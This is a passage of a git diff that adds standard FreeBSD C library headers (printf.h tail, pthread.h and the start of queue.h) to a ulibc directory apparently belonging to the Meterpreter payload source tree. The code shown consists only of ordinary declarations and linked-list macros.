struct printf_info {
|
||||
/* GLIBC compatible */
|
||||
int prec;
|
||||
int width;
|
||||
wchar_t spec;
|
||||
unsigned is_long_double;
|
||||
unsigned is_char;
|
||||
unsigned is_short;
|
||||
unsigned is_long;
|
||||
unsigned alt;
|
||||
unsigned space;
|
||||
unsigned left;
|
||||
unsigned showsign;
|
||||
unsigned group;
|
||||
unsigned extra;
|
||||
unsigned wide;
|
||||
wchar_t pad;
|
||||
|
||||
/* FreeBSD extensions */
|
||||
|
||||
unsigned is_quad;
|
||||
unsigned is_intmax;
|
||||
unsigned is_ptrdiff;
|
||||
unsigned is_size;
|
||||
|
||||
/* private */
|
||||
int sofar;
|
||||
unsigned get_width;
|
||||
unsigned get_prec;
|
||||
const char *begin;
|
||||
const char *end;
|
||||
void *arg[__PRINTFMAXARG];
|
||||
};
|
||||
|
||||
enum {
|
||||
PA_INT = (1 << 0), /* int */
|
||||
PA_CHAR = (1 << 1), /* int, cast to char */
|
||||
PA_WCHAR = (1 << 2), /* wide char */
|
||||
PA_STRING = (1 << 3), /* const char * (with '\0') */
|
||||
PA_WSTRING = (1 << 4), /* const wchar_t * */
|
||||
PA_POINTER = (1 << 5), /* void * */
|
||||
PA_FLOAT = (1 << 6), /* float */
|
||||
PA_DOUBLE = (1 << 7) /* double */
|
||||
};
|
||||
|
||||
#define PA_FLAG_MASK 0xff0000
|
||||
#define PA_FLAG_LONG_LONG (1 << 16)
|
||||
#define PA_FLAG_LONG (1 << 17)
|
||||
#define PA_FLAG_SHORT (1 << 18)
|
||||
#define PA_FLAG_PTR (1 << 19)
|
||||
#define PA_FLAG_QUAD (1 << 20)
|
||||
#define PA_FLAG_INTMAX (1 << 21)
|
||||
#define PA_FLAG_SIZE (1 << 22)
|
||||
#define PA_FLAG_PTRDIFF (1 << 23)
|
||||
#define PA_FLAG_LONG_DOUBLE PA_FLAG_LONG_LONG
|
||||
|
||||
typedef int printf_arginfo_function(const struct printf_info *, size_t, int *);
|
||||
typedef int printf_function(FILE *, const struct printf_info *, const void *const *);
|
||||
|
||||
/* FreeBSD extension */
|
||||
struct __printf_io;
|
||||
typedef int printf_render(struct __printf_io *, const struct printf_info *, const void *const *);
|
||||
|
||||
/* vprintf.c */
|
||||
extern const char __lowercase_hex[17];
|
||||
extern const char __uppercase_hex[17];
|
||||
|
||||
void __printf_flush(struct __printf_io *io);
|
||||
int __printf_puts(struct __printf_io *io, const void *ptr, int len);
|
||||
int __printf_pad(struct __printf_io *io, int n, int zero);
|
||||
int __printf_out(struct __printf_io *io, const struct printf_info *pi, const void *ptr, int len);
|
||||
|
||||
int __xvprintf(FILE *fp, const char *fmt0, va_list ap);
|
||||
extern int __use_xprintf;
|
||||
|
||||
/* GLIBC compat */
|
||||
int register_printf_function(int spec, printf_function *render, printf_arginfo_function *arginfo);
|
||||
|
||||
/* FreeBSD */
|
||||
int register_printf_render(int spec, printf_render *render, printf_arginfo_function *arginfo);
|
||||
int register_printf_render_std(const unsigned char *specs);
|
||||
|
||||
/* vprintf_errno.c */
|
||||
printf_arginfo_function __printf_arginfo_errno;
|
||||
printf_render __printf_render_errno;
|
||||
|
||||
/* vprintf_float.c */
|
||||
printf_arginfo_function __printf_arginfo_float;
|
||||
printf_render __printf_render_float;
|
||||
|
||||
/* vprintf_hexdump.c */
|
||||
printf_arginfo_function __printf_arginfo_hexdump;
|
||||
printf_render __printf_render_hexdump;
|
||||
|
||||
/* vprintf_int.c */
|
||||
printf_arginfo_function __printf_arginfo_ptr;
|
||||
printf_arginfo_function __printf_arginfo_int;
|
||||
printf_render __printf_render_ptr;
|
||||
printf_render __printf_render_int;
|
||||
|
||||
/* vprintf_quoute.c */
|
||||
printf_arginfo_function __printf_arginfo_quote;
|
||||
printf_render __printf_render_quote;
|
||||
|
||||
/* vprintf_str.c */
|
||||
printf_arginfo_function __printf_arginfo_chr;
|
||||
printf_render __printf_render_chr;
|
||||
printf_arginfo_function __printf_arginfo_str;
|
||||
printf_render __printf_render_str;
|
||||
|
||||
/* vprintf_time.c */
|
||||
printf_arginfo_function __printf_arginfo_time;
|
||||
printf_render __printf_render_time;
|
||||
|
||||
/* vprintf_vis.c */
|
||||
printf_arginfo_function __printf_arginfo_vis;
|
||||
printf_render __printf_render_vis;
|
||||
|
||||
#endif /* !_PRINTF_H */
|
294
c/meterpreter/source/ulibc/pthread.h
Normal file
294
c/meterpreter/source/ulibc/pthread.h
Normal file
@ -0,0 +1,294 @@
|
||||
/*
|
||||
* Copyright (c) 1993, 1994 by Chris Provenzano, proven@mit.edu
|
||||
* Copyright (c) 1995-1998 by John Birrell <jb@cimlogic.com.au>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by Chris Provenzano.
|
||||
* 4. The name of Chris Provenzano may not be used to endorse or promote
|
||||
* products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY CHRIS PROVENZANO ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL CHRIS PROVENZANO BE LIABLE FOR ANY
|
||||
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/include/pthread.h 189828 2009-03-14 20:10:14Z das $
|
||||
*/
|
||||
#ifndef _PTHREAD_H_
|
||||
#define _PTHREAD_H_
|
||||
|
||||
/*
|
||||
* Header files.
|
||||
*/
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_pthreadtypes.h>
|
||||
#include <machine/_limits.h>
|
||||
#include <machine/_types.h>
|
||||
#include <sys/_sigset.h>
|
||||
#include <sched.h>
|
||||
#include <time.h>
|
||||
|
||||
/*
|
||||
* Run-time invariant values:
|
||||
*/
|
||||
#define PTHREAD_DESTRUCTOR_ITERATIONS 4
|
||||
#define PTHREAD_KEYS_MAX 256
|
||||
#define PTHREAD_STACK_MIN __MINSIGSTKSZ
|
||||
#define PTHREAD_THREADS_MAX __ULONG_MAX
|
||||
#define PTHREAD_BARRIER_SERIAL_THREAD -1
|
||||
|
||||
/*
|
||||
* Flags for threads and thread attributes.
|
||||
*/
|
||||
#define PTHREAD_DETACHED 0x1
|
||||
#define PTHREAD_SCOPE_SYSTEM 0x2
|
||||
#define PTHREAD_INHERIT_SCHED 0x4
|
||||
#define PTHREAD_NOFLOAT 0x8
|
||||
|
||||
#define PTHREAD_CREATE_DETACHED PTHREAD_DETACHED
|
||||
#define PTHREAD_CREATE_JOINABLE 0
|
||||
#define PTHREAD_SCOPE_PROCESS 0
|
||||
#define PTHREAD_EXPLICIT_SCHED 0
|
||||
|
||||
/*
|
||||
* Flags for read/write lock attributes
|
||||
*/
|
||||
#define PTHREAD_PROCESS_PRIVATE 0
|
||||
#define PTHREAD_PROCESS_SHARED 1
|
||||
|
||||
/*
|
||||
* Flags for cancelling threads
|
||||
*/
|
||||
#define PTHREAD_CANCEL_ENABLE 0
|
||||
#define PTHREAD_CANCEL_DISABLE 1
|
||||
#define PTHREAD_CANCEL_DEFERRED 0
|
||||
#define PTHREAD_CANCEL_ASYNCHRONOUS 2
|
||||
#define PTHREAD_CANCELED ((void *) 1)
|
||||
|
||||
/*
|
||||
* Flags for once initialization.
|
||||
*/
|
||||
#define PTHREAD_NEEDS_INIT 0
|
||||
#define PTHREAD_DONE_INIT 1
|
||||
|
||||
/*
|
||||
* Static once initialization values.
|
||||
*/
|
||||
#define PTHREAD_ONCE_INIT { PTHREAD_NEEDS_INIT, NULL }
|
||||
|
||||
/*
|
||||
* Static initialization values.
|
||||
*/
|
||||
#define PTHREAD_MUTEX_INITIALIZER NULL
|
||||
#define PTHREAD_ADAPTIVE_MUTEX_INITIALIZER_NP NULL
|
||||
#define PTHREAD_COND_INITIALIZER NULL
|
||||
#define PTHREAD_RWLOCK_INITIALIZER NULL
|
||||
|
||||
/*
|
||||
* Default attribute arguments (draft 4, deprecated).
|
||||
*/
|
||||
#ifndef PTHREAD_KERNEL
|
||||
#define pthread_condattr_default NULL
|
||||
#define pthread_mutexattr_default NULL
|
||||
#define pthread_attr_default NULL
|
||||
#endif
|
||||
|
||||
#define PTHREAD_PRIO_NONE 0
|
||||
#define PTHREAD_PRIO_INHERIT 1
|
||||
#define PTHREAD_PRIO_PROTECT 2
|
||||
|
||||
/*
|
||||
* Mutex types (Single UNIX Specification, Version 2, 1997).
|
||||
*
|
||||
* Note that a mutex attribute with one of the following types:
|
||||
*
|
||||
* PTHREAD_MUTEX_NORMAL
|
||||
* PTHREAD_MUTEX_RECURSIVE
|
||||
*
|
||||
* will deviate from POSIX specified semantics.
|
||||
*/
|
||||
enum pthread_mutextype {
|
||||
PTHREAD_MUTEX_ERRORCHECK = 1, /* Default POSIX mutex */
|
||||
PTHREAD_MUTEX_RECURSIVE = 2, /* Recursive mutex */
|
||||
PTHREAD_MUTEX_NORMAL = 3, /* No error checking */
|
||||
PTHREAD_MUTEX_ADAPTIVE_NP = 4, /* Adaptive mutex, spins briefly before blocking on lock */
|
||||
PTHREAD_MUTEX_TYPE_MAX
|
||||
};
|
||||
|
||||
#define PTHREAD_MUTEX_DEFAULT PTHREAD_MUTEX_ERRORCHECK
|
||||
|
||||
struct _pthread_cleanup_info {
|
||||
__uintptr_t pthread_cleanup_pad[8];
|
||||
};
|
||||
|
||||
/*
|
||||
* Thread function prototype definitions:
|
||||
*/
|
||||
__BEGIN_DECLS
|
||||
int pthread_atfork(void (*)(void), void (*)(void), void (*)(void));
|
||||
int pthread_attr_destroy(pthread_attr_t *);
|
||||
int pthread_attr_getstack(const pthread_attr_t * __restrict,
|
||||
void ** __restrict, size_t * __restrict);
|
||||
int pthread_attr_getstacksize(const pthread_attr_t *, size_t *);
|
||||
int pthread_attr_getguardsize(const pthread_attr_t *, size_t *);
|
||||
int pthread_attr_getstackaddr(const pthread_attr_t *, void **);
|
||||
int pthread_attr_getdetachstate(const pthread_attr_t *, int *);
|
||||
int pthread_attr_init(pthread_attr_t *);
|
||||
int pthread_attr_setstacksize(pthread_attr_t *, size_t);
|
||||
int pthread_attr_setguardsize(pthread_attr_t *, size_t);
|
||||
int pthread_attr_setstack(pthread_attr_t *, void *, size_t);
|
||||
int pthread_attr_setstackaddr(pthread_attr_t *, void *);
|
||||
int pthread_attr_setdetachstate(pthread_attr_t *, int);
|
||||
int pthread_barrier_destroy(pthread_barrier_t *);
|
||||
int pthread_barrier_init(pthread_barrier_t *,
|
||||
const pthread_barrierattr_t *, unsigned);
|
||||
int pthread_barrier_wait(pthread_barrier_t *);
|
||||
int pthread_barrierattr_destroy(pthread_barrierattr_t *);
|
||||
int pthread_barrierattr_getpshared(const pthread_barrierattr_t *,
|
||||
int *);
|
||||
int pthread_barrierattr_init(pthread_barrierattr_t *);
|
||||
int pthread_barrierattr_setpshared(pthread_barrierattr_t *, int);
|
||||
|
||||
#define pthread_cleanup_push(cleanup_routine, cleanup_arg) \
|
||||
{ \
|
||||
struct _pthread_cleanup_info __cleanup_info__; \
|
||||
__pthread_cleanup_push_imp(cleanup_routine, cleanup_arg,\
|
||||
&__cleanup_info__); \
|
||||
{
|
||||
|
||||
#define pthread_cleanup_pop(execute) \
|
||||
} \
|
||||
__pthread_cleanup_pop_imp(execute); \
|
||||
}
|
||||
|
||||
int pthread_condattr_destroy(pthread_condattr_t *);
|
||||
int pthread_condattr_getclock(const pthread_condattr_t *,
|
||||
clockid_t *);
|
||||
int pthread_condattr_getpshared(const pthread_condattr_t *, int *);
|
||||
int pthread_condattr_init(pthread_condattr_t *);
|
||||
int pthread_condattr_setclock(pthread_condattr_t *, clockid_t);
|
||||
int pthread_condattr_setpshared(pthread_condattr_t *, int);
|
||||
int pthread_cond_broadcast(pthread_cond_t *);
|
||||
int pthread_cond_destroy(pthread_cond_t *);
|
||||
int pthread_cond_init(pthread_cond_t *,
|
||||
const pthread_condattr_t *);
|
||||
int pthread_cond_signal(pthread_cond_t *);
|
||||
int pthread_cond_timedwait(pthread_cond_t *,
|
||||
pthread_mutex_t *, const struct timespec *);
|
||||
int pthread_cond_wait(pthread_cond_t *, pthread_mutex_t *);
|
||||
int pthread_create(pthread_t *, const pthread_attr_t *,
|
||||
void *(*) (void *), void *);
|
||||
int pthread_detach(pthread_t);
|
||||
int pthread_equal(pthread_t, pthread_t);
|
||||
void pthread_exit(void *) __dead2;
|
||||
void *pthread_getspecific(pthread_key_t);
|
||||
int pthread_getcpuclockid(pthread_t, clockid_t *);
|
||||
int pthread_join(pthread_t, void **);
|
||||
int pthread_key_create(pthread_key_t *,
|
||||
void (*) (void *));
|
||||
int pthread_key_delete(pthread_key_t);
|
||||
int pthread_mutexattr_init(pthread_mutexattr_t *);
|
||||
int pthread_mutexattr_destroy(pthread_mutexattr_t *);
|
||||
int pthread_mutexattr_getpshared(const pthread_mutexattr_t *,
|
||||
int *);
|
||||
int pthread_mutexattr_gettype(pthread_mutexattr_t *, int *);
|
||||
int pthread_mutexattr_settype(pthread_mutexattr_t *, int);
|
||||
int pthread_mutexattr_setpshared(pthread_mutexattr_t *, int);
|
||||
int pthread_mutex_destroy(pthread_mutex_t *);
|
||||
int pthread_mutex_init(pthread_mutex_t *,
|
||||
const pthread_mutexattr_t *);
|
||||
int pthread_mutex_lock(pthread_mutex_t *);
|
||||
int pthread_mutex_trylock(pthread_mutex_t *);
|
||||
int pthread_mutex_timedlock(pthread_mutex_t *,
|
||||
const struct timespec *);
|
||||
int pthread_mutex_unlock(pthread_mutex_t *);
|
||||
int pthread_once(pthread_once_t *, void (*) (void));
|
||||
int pthread_rwlock_destroy(pthread_rwlock_t *);
|
||||
int pthread_rwlock_init(pthread_rwlock_t *,
|
||||
const pthread_rwlockattr_t *);
|
||||
int pthread_rwlock_rdlock(pthread_rwlock_t *);
|
||||
int pthread_rwlock_timedrdlock(pthread_rwlock_t *,
|
||||
const struct timespec *);
|
||||
int pthread_rwlock_timedwrlock(pthread_rwlock_t *,
|
||||
const struct timespec *);
|
||||
int pthread_rwlock_tryrdlock(pthread_rwlock_t *);
|
||||
int pthread_rwlock_trywrlock(pthread_rwlock_t *);
|
||||
int pthread_rwlock_unlock(pthread_rwlock_t *);
|
||||
int pthread_rwlock_wrlock(pthread_rwlock_t *);
|
||||
int pthread_rwlockattr_init(pthread_rwlockattr_t *);
|
||||
int pthread_rwlockattr_getpshared(const pthread_rwlockattr_t *,
|
||||
int *);
|
||||
int pthread_rwlockattr_setpshared(pthread_rwlockattr_t *, int);
|
||||
int pthread_rwlockattr_destroy(pthread_rwlockattr_t *);
|
||||
pthread_t pthread_self(void);
|
||||
int pthread_setspecific(pthread_key_t, const void *);
|
||||
|
||||
int pthread_spin_init(pthread_spinlock_t *, int);
|
||||
int pthread_spin_destroy(pthread_spinlock_t *);
|
||||
int pthread_spin_lock(pthread_spinlock_t *);
|
||||
int pthread_spin_trylock(pthread_spinlock_t *);
|
||||
int pthread_spin_unlock(pthread_spinlock_t *);
|
||||
int pthread_cancel(pthread_t);
|
||||
int pthread_setcancelstate(int, int *);
|
||||
int pthread_setcanceltype(int, int *);
|
||||
void pthread_testcancel(void);
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
int pthread_getprio(pthread_t);
|
||||
int pthread_setprio(pthread_t, int);
|
||||
void pthread_yield(void);
|
||||
#endif
|
||||
|
||||
int pthread_mutexattr_getprioceiling(pthread_mutexattr_t *,
|
||||
int *);
|
||||
int pthread_mutexattr_setprioceiling(pthread_mutexattr_t *,
|
||||
int);
|
||||
int pthread_mutex_getprioceiling(pthread_mutex_t *, int *);
|
||||
int pthread_mutex_setprioceiling(pthread_mutex_t *, int, int *);
|
||||
|
||||
int pthread_mutexattr_getprotocol(pthread_mutexattr_t *, int *);
|
||||
int pthread_mutexattr_setprotocol(pthread_mutexattr_t *, int);
|
||||
|
||||
int pthread_attr_getinheritsched(const pthread_attr_t *, int *);
|
||||
int pthread_attr_getschedparam(const pthread_attr_t *,
|
||||
struct sched_param *);
|
||||
int pthread_attr_getschedpolicy(const pthread_attr_t *, int *);
|
||||
int pthread_attr_getscope(const pthread_attr_t *, int *);
|
||||
int pthread_attr_setinheritsched(pthread_attr_t *, int);
|
||||
int pthread_attr_setschedparam(pthread_attr_t *,
|
||||
const struct sched_param *);
|
||||
int pthread_attr_setschedpolicy(pthread_attr_t *, int);
|
||||
int pthread_attr_setscope(pthread_attr_t *, int);
|
||||
int pthread_getschedparam(pthread_t pthread, int *,
|
||||
struct sched_param *);
|
||||
int pthread_setschedparam(pthread_t, int,
|
||||
const struct sched_param *);
|
||||
#if __XSI_VISIBLE
|
||||
int pthread_getconcurrency(void);
|
||||
int pthread_setconcurrency(int);
|
||||
#endif
|
||||
|
||||
void __pthread_cleanup_push_imp(void (*)(void *), void *,
|
||||
struct _pthread_cleanup_info *);
|
||||
void __pthread_cleanup_pop_imp(int);
|
||||
__END_DECLS
|
||||
|
||||
#endif
|
627
c/meterpreter/source/ulibc/queue.h
Normal file
627
c/meterpreter/source/ulibc/queue.h
Normal file
@ -0,0 +1,627 @@
|
||||
/*-
|
||||
* Copyright (c) 1991, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)queue.h 8.5 (Berkeley) 8/20/94
|
||||
* $FreeBSD: head/sys/sys/queue.h 179210 2008-05-22 14:40:03Z ed $
|
||||
*/
|
||||
|
||||
#ifndef _SYS_QUEUE_H_
|
||||
#define _SYS_QUEUE_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
|
||||
/*
|
||||
* This file defines four types of data structures: singly-linked lists,
|
||||
* singly-linked tail queues, lists and tail queues.
|
||||
*
|
||||
* A singly-linked list is headed by a single forward pointer. The elements
|
||||
* are singly linked for minimum space and pointer manipulation overhead at
|
||||
* the expense of O(n) removal for arbitrary elements. New elements can be
|
||||
* added to the list after an existing element or at the head of the list.
|
||||
* Elements being removed from the head of the list should use the explicit
|
||||
* macro for this purpose for optimum efficiency. A singly-linked list may
|
||||
* only be traversed in the forward direction. Singly-linked lists are ideal
|
||||
* for applications with large datasets and few or no removals or for
|
||||
* implementing a LIFO queue.
|
||||
*
|
||||
* A singly-linked tail queue is headed by a pair of pointers, one to the
|
||||
* head of the list and the other to the tail of the list. The elements are
|
||||
* singly linked for minimum space and pointer manipulation overhead at the
|
||||
* expense of O(n) removal for arbitrary elements. New elements can be added
|
||||
* to the list after an existing element, at the head of the list, or at the
|
||||
* end of the list. Elements being removed from the head of the tail queue
|
||||
* should use the explicit macro for this purpose for optimum efficiency.
|
||||
* A singly-linked tail queue may only be traversed in the forward direction.
|
||||
* Singly-linked tail queues are ideal for applications with large datasets
|
||||
* and few or no removals or for implementing a FIFO queue.
|
||||
*
|
||||
* A list is headed by a single forward pointer (or an array of forward
|
||||
* pointers for a hash table header). The elements are doubly linked
|
||||
* so that an arbitrary element can be removed without a need to
|
||||
* traverse the list. New elements can be added to the list before
|
||||
* or after an existing element or at the head of the list. A list
|
||||
* may only be traversed in the forward direction.
|
||||
*
|
||||
* A tail queue is headed by a pair of pointers, one to the head of the
|
||||
* list and the other to the tail of the list. The elements are doubly
|
||||
* linked so that an arbitrary element can be removed without a need to
|
||||
* traverse the list. New elements can be added to the list before or
|
||||
* after an existing element, at the head of the list, or at the end of
|
||||
* the list. A tail queue may be traversed in either direction.
|
||||
*
|
||||
* For details on the use of these macros, see the queue(3) manual page.
|
||||
*
|
||||
*
|
||||
* SLIST LIST STAILQ TAILQ
|
||||
* _HEAD + + + +
|
||||
* _HEAD_INITIALIZER + + + +
|
||||
* _ENTRY + + + +
|
||||
* _INIT + + + +
|
||||
* _EMPTY + + + +
|
||||
* _FIRST + + + +
|
||||
* _NEXT + + + +
|
||||
* _PREV - - - +
|
||||
* _LAST - - + +
|
||||
* _FOREACH + + + +
|
||||
* _FOREACH_SAFE + + + +
|
||||
* _FOREACH_REVERSE - - - +
|
||||
* _FOREACH_REVERSE_SAFE - - - +
|
||||
* _INSERT_HEAD + + + +
|
||||
* _INSERT_BEFORE - + - +
|
||||
* _INSERT_AFTER + + + +
|
||||
* _INSERT_TAIL - - + +
|
||||
* _CONCAT - - + +
|
||||
* _REMOVE_HEAD + - + -
|
||||
* _REMOVE_NEXT + - + -
|
||||
* _REMOVE + + + +
|
||||
*
|
||||
*/
|
||||
#ifdef QUEUE_MACRO_DEBUG
|
||||
/* Store the last 2 places the queue element or head was altered */
|
||||
struct qm_trace {
|
||||
char * lastfile;
|
||||
int lastline;
|
||||
char * prevfile;
|
||||
int prevline;
|
||||
};
|
||||
|
||||
#define TRACEBUF struct qm_trace trace;
|
||||
#define TRASHIT(x) do {(x) = (void *)-1;} while (0)
|
||||
|
||||
#define QMD_TRACE_HEAD(head) do { \
|
||||
(head)->trace.prevline = (head)->trace.lastline; \
|
||||
(head)->trace.prevfile = (head)->trace.lastfile; \
|
||||
(head)->trace.lastline = __LINE__; \
|
||||
(head)->trace.lastfile = __FILE__; \
|
||||
} while (0)
|
||||
|
||||
#define QMD_TRACE_ELEM(elem) do { \
|
||||
(elem)->trace.prevline = (elem)->trace.lastline; \
|
||||
(elem)->trace.prevfile = (elem)->trace.lastfile; \
|
||||
(elem)->trace.lastline = __LINE__; \
|
||||
(elem)->trace.lastfile = __FILE__; \
|
||||
} while (0)
|
||||
|
||||
#else
|
||||
#define QMD_TRACE_ELEM(elem)
|
||||
#define QMD_TRACE_HEAD(head)
|
||||
#define TRACEBUF
|
||||
#define TRASHIT(x)
|
||||
#endif /* QUEUE_MACRO_DEBUG */
|
||||
|
||||
/*
|
||||
* Singly-linked List declarations.
|
||||
*/
|
||||
#define SLIST_HEAD(name, type) \
|
||||
struct name { \
|
||||
struct type *slh_first; /* first element */ \
|
||||
}
|
||||
|
||||
#define SLIST_HEAD_INITIALIZER(head) \
|
||||
{ NULL }
|
||||
|
||||
#define SLIST_ENTRY(type) \
|
||||
struct { \
|
||||
struct type *sle_next; /* next element */ \
|
||||
}
|
||||
|
||||
/*
|
||||
* Singly-linked List functions.
|
||||
*/
|
||||
#define SLIST_EMPTY(head) ((head)->slh_first == NULL)
|
||||
|
||||
#define SLIST_FIRST(head) ((head)->slh_first)
|
||||
|
||||
#define SLIST_FOREACH(var, head, field) \
|
||||
for ((var) = SLIST_FIRST((head)); \
|
||||
(var); \
|
||||
(var) = SLIST_NEXT((var), field))
|
||||
|
||||
#define SLIST_FOREACH_SAFE(var, head, field, tvar) \
|
||||
for ((var) = SLIST_FIRST((head)); \
|
||||
(var) && ((tvar) = SLIST_NEXT((var), field), 1); \
|
||||
(var) = (tvar))
|
||||
|
||||
#define SLIST_FOREACH_PREVPTR(var, varp, head, field) \
|
||||
for ((varp) = &SLIST_FIRST((head)); \
|
||||
((var) = *(varp)) != NULL; \
|
||||
(varp) = &SLIST_NEXT((var), field))
|
||||
|
||||
#define SLIST_INIT(head) do { \
|
||||
SLIST_FIRST((head)) = NULL; \
|
||||
} while (0)
|
||||
|
||||
#define SLIST_INSERT_AFTER(slistelm, elm, field) do { \
|
||||
SLIST_NEXT((elm), field) = SLIST_NEXT((slistelm), field); \
|
||||
SLIST_NEXT((slistelm), field) = (elm); \
|
||||
} while (0)
|
||||
|
||||
#define SLIST_INSERT_HEAD(head, elm, field) do { \
|
||||
SLIST_NEXT((elm), field) = SLIST_FIRST((head)); \
|
||||
SLIST_FIRST((head)) = (elm); \
|
||||
} while (0)
|
||||
|
||||
#define SLIST_NEXT(elm, field) ((elm)->field.sle_next)
|
||||
|
||||
#define SLIST_REMOVE(head, elm, type, field) do { \
|
||||
if (SLIST_FIRST((head)) == (elm)) { \
|
||||
SLIST_REMOVE_HEAD((head), field); \
|
||||
} \
|
||||
else { \
|
||||
struct type *curelm = SLIST_FIRST((head)); \
|
||||
while (SLIST_NEXT(curelm, field) != (elm)) \
|
||||
curelm = SLIST_NEXT(curelm, field); \
|
||||
SLIST_REMOVE_NEXT(head, curelm, field); \
|
||||
} \
|
||||
TRASHIT((elm)->field.sle_next); \
|
||||
} while (0)
|
||||
|
||||
#define SLIST_REMOVE_NEXT(head, elm, field) do { \
|
||||
SLIST_NEXT(elm, field) = \
|
||||
SLIST_NEXT(SLIST_NEXT(elm, field), field); \
|
||||
} while (0)
|
||||
|
||||
#define SLIST_REMOVE_HEAD(head, field) do { \
|
||||
SLIST_FIRST((head)) = SLIST_NEXT(SLIST_FIRST((head)), field); \
|
||||
} while (0)
|
||||
|
||||
/*
|
||||
* Singly-linked Tail queue declarations.
|
||||
*/
|
||||
#define STAILQ_HEAD(name, type) \
|
||||
struct name { \
|
||||
struct type *stqh_first;/* first element */ \
|
||||
struct type **stqh_last;/* addr of last next element */ \
|
||||
}
|
||||
|
||||
#define STAILQ_HEAD_INITIALIZER(head) \
|
||||
{ NULL, &(head).stqh_first }
|
||||
|
||||
#define STAILQ_ENTRY(type) \
|
||||
struct { \
|
||||
struct type *stqe_next; /* next element */ \
|
||||
}
|
||||
|
||||
/*
|
||||
* Singly-linked Tail queue functions.
|
||||
*/
|
||||
#define STAILQ_CONCAT(head1, head2) do { \
|
||||
if (!STAILQ_EMPTY((head2))) { \
|
||||
*(head1)->stqh_last = (head2)->stqh_first; \
|
||||
(head1)->stqh_last = (head2)->stqh_last; \
|
||||
STAILQ_INIT((head2)); \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_EMPTY(head) ((head)->stqh_first == NULL)
|
||||
|
||||
#define STAILQ_FIRST(head) ((head)->stqh_first)
|
||||
|
||||
#define STAILQ_FOREACH(var, head, field) \
|
||||
for((var) = STAILQ_FIRST((head)); \
|
||||
(var); \
|
||||
(var) = STAILQ_NEXT((var), field))
|
||||
|
||||
|
||||
#define STAILQ_FOREACH_SAFE(var, head, field, tvar) \
|
||||
for ((var) = STAILQ_FIRST((head)); \
|
||||
(var) && ((tvar) = STAILQ_NEXT((var), field), 1); \
|
||||
(var) = (tvar))
|
||||
|
||||
#define STAILQ_INIT(head) do { \
|
||||
STAILQ_FIRST((head)) = NULL; \
|
||||
(head)->stqh_last = &STAILQ_FIRST((head)); \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_INSERT_AFTER(head, tqelm, elm, field) do { \
|
||||
if ((STAILQ_NEXT((elm), field) = STAILQ_NEXT((tqelm), field)) == NULL)\
|
||||
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
|
||||
STAILQ_NEXT((tqelm), field) = (elm); \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_INSERT_HEAD(head, elm, field) do { \
|
||||
if ((STAILQ_NEXT((elm), field) = STAILQ_FIRST((head))) == NULL) \
|
||||
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
|
||||
STAILQ_FIRST((head)) = (elm); \
|
||||
} while (0)
|
||||
|
||||
